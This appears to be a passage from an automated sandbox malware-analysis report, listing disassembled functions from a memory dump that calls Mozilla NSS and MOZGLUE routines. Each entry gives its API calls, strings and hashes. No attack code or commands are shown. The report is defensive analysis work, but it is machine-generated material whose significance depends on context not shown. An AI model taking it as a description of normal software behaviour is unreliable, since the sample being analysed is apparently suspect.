Part of subcall function 6CF498D0: calloc.MOZGLUE(00000001,00000084,6CE70936,00000001,?,6CE7102C), ref: 6CF498E5

PR_NewCondVar.NSS3(00000000,?,6CF91193), ref: 6CF91C91

Part of subcall function 6CE6BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CE721BC), ref: 6CE6BB8C

PR_NewCondVar.NSS3(00000000,?,?,6CF91193), ref: 6CF91CA7

Part of subcall function 6CE6BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CE6BBEB
Part of subcall function 6CE6BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CE6BBFB
Part of subcall function 6CE6BB80: GetLastError.KERNEL32 ref: 6CE6BC03
Part of subcall function 6CE6BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CE6BC19
Part of subcall function 6CE6BB80: free.MOZGLUE(00000000), ref: 6CE6BC22

PR_NewCondVar.NSS3(00000000,?,?,?,6CF91193), ref: 6CF91CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6CF91193), ref: 6CF91CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6CF91193), ref: 6CF91CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6CF91193), ref: 6CF91D1A

Part of subcall function 6CF49BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CE71A48), ref: 6CF49BB3
Part of subcall function 6CF49BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CE71A48), ref: 6CF49BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6CF91193), ref: 6CF91D3D

Part of subcall function 6CF2DD70: TlsGetValue.KERNEL32 ref: 6CF2DD8C
Part of subcall function 6CF2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF2DDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6CF91193), ref: 6CF91D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6CF91193), ref: 6CF91D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6CF91193), ref: 6CF91D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6CF91193), ref: 6CF91D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6CF91193), ref: 6CF91D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6CF91193), ref: 6CF91D93
PR_DestroyLock.NSS3(00000000,?,?,6CF91193), ref: 6CF91D9F
free.MOZGLUE(00000000,?,6CF91193), ref: 6CF91DA8

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: a79ef0cf49be54ae78642fec753879bbdeeee8d682ab08e7961fc77e000ed988
Instruction ID: bc4a24bc0bb8d73a8a553911a9588b39f3ad135985329f1b3a9dcc6f1831d9c0
Opcode Fuzzy Hash: a79ef0cf49be54ae78642fec753879bbdeeee8d682ab08e7961fc77e000ed988
Instruction Fuzzy Hash: 0A31A2F1E106019BFB209F75AC01B977BB8AF0561CB148439E94A87B51FB31E518CBA2

Function 6CEA5E60 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CEA5ECF
EnterCriticalSection.KERNEL32(?), ref: 6CEA5EE3
PR_Unlock.NSS3(?), ref: 6CEA5F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6CEA5FB5

Strings

S&l, xrefs: 6CEA62E3
NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6CEA61F4
S&l, xrefs: 6CEA5E6C, 6CEA627F, 6CEA5F12

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT$S&l$S&l
API String ID: 2280678669-148785157
Opcode ID: 2467b80fba857c30be6a757a3fb3d53ebd531b13caf7b931142ece3dc90c1784
Instruction ID: 6e92e5c0af72bfd82be0ae026dddcf4c11b94aaef474324906f5d34f48ee3830
Opcode Fuzzy Hash: 2467b80fba857c30be6a757a3fb3d53ebd531b13caf7b931142ece3dc90c1784
Instruction Fuzzy Hash: 50F106B5A012158FDB54CF68C884B86BBF4FF09308F6581AAD8089F746D774EA85CF91

Function 6CEF0C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,l), ref: 6CEF0C81

Part of subcall function 6CEDBE30: SECOID_FindOID_Util.NSS3(6CE9311B,00000000,?,6CE9311B,?), ref: 6CEDBE44

Part of subcall function 6CEC8500: SECOID_GetAlgorithmTag_Util.NSS3(6CEC95DC,00000000,00000000,00000000,?,6CEC95DC,00000000,00000000,?,6CEA7F4A,00000000,?,00000000,00000000), ref: 6CEC8517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEF0CC4

Part of subcall function 6CEDFAB0: free.MOZGLUE(?,-00000001,?,?,6CE7F673,00000000,00000000), ref: 6CEDFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CEF0CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6CEF0D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6CEF0D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6CEF0D7D
free.MOZGLUE(00000000), ref: 6CEF0DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEF0DC1
free.MOZGLUE(00000000), ref: 6CEF0DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEF0E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CEF0E0F

Part of subcall function 6CEC95C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6CEA7F4A,00000000,?,00000000,00000000), ref: 6CEC95E0
Part of subcall function 6CEC95C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6CEA7F4A,00000000,?,00000000,00000000), ref: 6CEC95F5
Part of subcall function 6CEC95C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CEC9609
Part of subcall function 6CEC95C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CEC961D
Part of subcall function 6CEC95C0: PK11_GetInternalSlot.NSS3 ref: 6CEC970B
Part of subcall function 6CEC95C0: PK11_FreeSymKey.NSS3(00000000), ref: 6CEC9756
Part of subcall function 6CEC95C0: PK11_GetIVLength.NSS3(?), ref: 6CEC9767
Part of subcall function 6CEC95C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6CEC977E
Part of subcall function 6CEC95C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEC978E

Strings

*,l, xrefs: 6CEF0C69, 6CEF0DE0, 6CEF0C80, 6CEF0C8B, 6CEF0CAF
*,l, xrefs: 6CEF0DCC
-$l, xrefs: 6CEF0C64

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,l$*,l$-$l
API String ID: 3136566230-2303401061
Opcode ID: d7d472fde5cc138a443bb6c38390a36dff29b0caecd5682fd8345d62c0cbfefc
Instruction ID: 2f9ce01815237cb4ba67450d4a8771c60b340df0b6eae4b047bb5157d09f7650
Opcode Fuzzy Hash: d7d472fde5cc138a443bb6c38390a36dff29b0caecd5682fd8345d62c0cbfefc
Instruction Fuzzy Hash: 3B41C4B5E00246ABEB009F64DC45BAF7674AF4534CF244028ED256B741EB36AA15CBF2

Function 6CEE5CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6CEE5EC0,00000000,?,?), ref: 6CEE5CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6CEE5CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CEE5CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CEE5D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6CEE5EC0,00000000,?,?), ref: 6CEE5D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6CEE5D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEE5D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEE5D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6CEE5D80

Strings

multiaccess:, xrefs: 6CEE5CB8
dbm:, xrefs: 6CEE5D03, 6CEE5D60
sql:, xrefs: 6CEE5CD1, 6CEE5D36
NSS_DEFAULT_DB_TYPE, xrefs: 6CEE5D1A
extern:, xrefs: 6CEE5CEA, 6CEE5D4B

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: 4fe32d31e41698f6e280cdb60d461b61c56be0fb887b27becbec0b8dd4a6bd64
Instruction ID: b45aa46961758cae97358ab0a0d78b71f548631b1ec7c668f71ff9476240054f
Opcode Fuzzy Hash: 4fe32d31e41698f6e280cdb60d461b61c56be0fb887b27becbec0b8dd4a6bd64
Instruction Fuzzy Hash: C531E8E0B433435BE7411A249C4DB673779AF0A38CF340031EE55E6B82E772E915C656

Function 6CEE6CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6CFB1DE0,?), ref: 6CEE6CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEE6D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6CEE6D70
PORT_Alloc_Util.NSS3(00000480), ref: 6CEE6D82
DER_GetInteger_Util.NSS3(?), ref: 6CEE6DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEE6DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6CEE6E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6CEE6F19
PK11_DigestBegin.NSS3(00000000), ref: 6CEE6F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6CEE6F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CEE7011
PK11_FreeSymKey.NSS3(00000000), ref: 6CEE7033
free.MOZGLUE(?), ref: 6CEE703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6CEE7060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CEE7087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6CEE70AF

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 33521b861cf7448b88fd40797d5e949b4fdc997bb8d4b37bdd2c0b86271776ce
Instruction ID: 6be526f729d61e9eaa95cfcc1bb47dfe82d18153ca0d1ae0a5cb0fe98faf214d
Opcode Fuzzy Hash: 33521b861cf7448b88fd40797d5e949b4fdc997bb8d4b37bdd2c0b86271776ce
Instruction Fuzzy Hash: 73A126719042049BEB009F24DC46B6A36B9DB8938CF34893DEA19CBBD1E735D946C793

Function 6CEAAEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CE8AB95,00000000,?,00000000,00000000,00000000), ref: 6CEAAF25
EnterCriticalSection.KERNEL32(?,?,?,?,6CE8AB95,00000000,?,00000000,00000000,00000000), ref: 6CEAAF39
PR_Unlock.NSS3(?,?,?,6CE8AB95,00000000,?,00000000,00000000,00000000), ref: 6CEAAF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6CE8AB95,00000000,?,00000000,00000000,00000000), ref: 6CEAAF69
TlsGetValue.KERNEL32 ref: 6CEAB06B
EnterCriticalSection.KERNEL32(?), ref: 6CEAB083
PR_Unlock.NSS3(?), ref: 6CEAB0A4
TlsGetValue.KERNEL32 ref: 6CEAB0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6CEAB0D9
PR_Unlock.NSS3 ref: 6CEAB102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEAB151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEAB182

Part of subcall function 6CEDFAB0: free.MOZGLUE(?,-00000001,?,?,6CE7F673,00000000,00000000), ref: 6CEDFAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CEAB177

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6CE8AB95,00000000,?,00000000,00000000,00000000), ref: 6CEAB1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6CE8AB95,00000000,?,00000000,00000000,00000000), ref: 6CEAB1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6CE8AB95,00000000,?,00000000,00000000,00000000), ref: 6CEAB1C2

Part of subcall function 6CED1560: TlsGetValue.KERNEL32(00000000,?,6CEA0844,?), ref: 6CED157A
Part of subcall function 6CED1560: EnterCriticalSection.KERNEL32(?,?,?,6CEA0844,?), ref: 6CED158F
Part of subcall function 6CED1560: PR_Unlock.NSS3(?,?,?,?,6CEA0844,?), ref: 6CED15B2

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: 81a41f6a307dbf49fd8f13edc6306881af61b06f3fa4d2f4aef5b6951ad734e4
Instruction ID: b6298cf7cf26c60159cd562448bcf7b51b4a58078357ba0f340374d3c76d8a5c
Opcode Fuzzy Hash: 81a41f6a307dbf49fd8f13edc6306881af61b06f3fa4d2f4aef5b6951ad734e4
Instruction Fuzzy Hash: D0A1A5B5D00209AFEF009FA4DC41BEA77B4BF19308F244129E905AB751E735E956CBE1

Function 6CEA2C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?l,?,6CE9E477,?,?,?,00000001,00000000,?,?,6CEA3F23,?), ref: 6CEA2C62
EnterCriticalSection.KERNEL32(0000001C,?,6CE9E477,?,?,?,00000001,00000000,?,?,6CEA3F23,?), ref: 6CEA2C76
PL_HashTableLookup.NSS3(00000000,?,?,6CE9E477,?,?,?,00000001,00000000,?,?,6CEA3F23,?), ref: 6CEA2C86
PR_Unlock.NSS3(00000000,?,?,?,?,6CE9E477,?,?,?,00000001,00000000,?,?,6CEA3F23,?), ref: 6CEA2C93

Part of subcall function 6CF2DD70: TlsGetValue.KERNEL32 ref: 6CF2DD8C
Part of subcall function 6CF2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF2DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6CE9E477,?,?,?,00000001,00000000,?,?,6CEA3F23,?), ref: 6CEA2CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6CE9E477,?,?,?,00000001,00000000,?,?,6CEA3F23,?), ref: 6CEA2CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6CE9E477,?,?,?,00000001,00000000,?,?,6CEA3F23), ref: 6CEA2CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6CE9E477,?,?,?,00000001,00000000,?), ref: 6CEA2CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CE9E477,?,?,?,00000001,00000000,?), ref: 6CEA2D4D
EnterCriticalSection.KERNEL32(?), ref: 6CEA2D61
PL_HashTableLookup.NSS3(?,?), ref: 6CEA2D71
PR_Unlock.NSS3(?), ref: 6CEA2D7E

Part of subcall function 6CE707A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CE0204A), ref: 6CE707AD
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CE0204A), ref: 6CE707CD
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CE0204A), ref: 6CE707D6
Part of subcall function 6CE707A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CE0204A), ref: 6CE707E4
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,6CE0204A), ref: 6CE70864
Part of subcall function 6CE707A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE70880
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,?,6CE0204A), ref: 6CE708CB
Part of subcall function 6CE707A0: TlsGetValue.KERNEL32(?,?,6CE0204A), ref: 6CE708D7
Part of subcall function 6CE707A0: TlsGetValue.KERNEL32(?,?,6CE0204A), ref: 6CE708FB

Strings

#?l, xrefs: 6CEA2C43

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?l
API String ID: 2446853827-1190849705
Opcode ID: 8535383a5915bf9d77a040df200159d742b0d5a9b8f099a25d63269cda3ffa01
Instruction ID: 4a43c0d63dd0b81580716564daba9c92032ad7ae9b3394554d7b18f776b6e4d1
Opcode Fuzzy Hash: 8535383a5915bf9d77a040df200159d742b0d5a9b8f099a25d63269cda3ffa01
Instruction Fuzzy Hash: D25105B6D00604AFDB009F65DC449AA7778BF1931CB248524ED1CABB12E731E959C7E1

Function 6CEFAD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEFADB1

Part of subcall function 6CEDBE30: SECOID_FindOID_Util.NSS3(6CE9311B,00000000,?,6CE9311B,?), ref: 6CEDBE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CEFADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CEFAE08

Part of subcall function 6CEDB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFB18D0,?), ref: 6CEDB095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEFAE25
PL_FreeArenaPool.NSS3 ref: 6CEFAE63
PR_CallOnce.NSS3(6CFE2AA4,6CEE12D0), ref: 6CEFAE4D

Part of subcall function 6CE04C70: TlsGetValue.KERNEL32(?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04C97
Part of subcall function 6CE04C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04CB0
Part of subcall function 6CE04C70: PR_Unlock.NSS3(?,?,?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEFAE93
PR_CallOnce.NSS3(6CFE2AA4,6CEE12D0), ref: 6CEFAECC
PL_FreeArenaPool.NSS3 ref: 6CEFAEDE
PL_FinishArenaPool.NSS3 ref: 6CEFAEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEFAEF5
PL_FinishArenaPool.NSS3 ref: 6CEFAF16

Strings

security, xrefs: 6CEFADEE

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 4cb0ca2494140601bc76082cf17076800c930aa98cc1e1eef0f77d080a2e2ae3
Instruction ID: 59df3a22373646a4cd275dddd02f3e9d44a34a19e1f72f622379387a67a63509
Opcode Fuzzy Hash: 4cb0ca2494140601bc76082cf17076800c930aa98cc1e1eef0f77d080a2e2ae3
Instruction Fuzzy Hash: 23413DB298021067F7214B14DC45BAA32B8AF4674CF300529E9749FF41FB35A98AC7D3

Function 6CF9AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF49890: TlsGetValue.KERNEL32(?,?,?,6CF497EB), ref: 6CF4989E

EnterCriticalSection.KERNEL32(?), ref: 6CF9AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6CF9AFCE
PR_SetPollableEvent.NSS3(?), ref: 6CF9AFD9
EnterCriticalSection.KERNEL32(?), ref: 6CF9AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6CF9B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6CF9B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6CF9B070
PR_JoinThread.NSS3(?), ref: 6CF9B07B
free.MOZGLUE(?), ref: 6CF9B084
EnterCriticalSection.KERNEL32(?), ref: 6CF9B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6CF9B0C4
PR_JoinThread.NSS3(?), ref: 6CF9B0F3
free.MOZGLUE(?), ref: 6CF9B0FC
PR_JoinThread.NSS3(?), ref: 6CF9B137
free.MOZGLUE(?), ref: 6CF9B140

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 33b6ca91a71f7bcf97d6629c2e4cf137d91b5499985970e80cb10081e0e71b6b
Instruction ID: eeae01afd2adca25b731092783c2ba2e39bd4a38d2db8e6c27d7d4038cda83e4
Opcode Fuzzy Hash: 33b6ca91a71f7bcf97d6629c2e4cf137d91b5499985970e80cb10081e0e71b6b
Instruction Fuzzy Hash: 159160B5900601DFDB14DF25C880946BBF5FF4931872985A9D8195BB22EB32FD46CB90

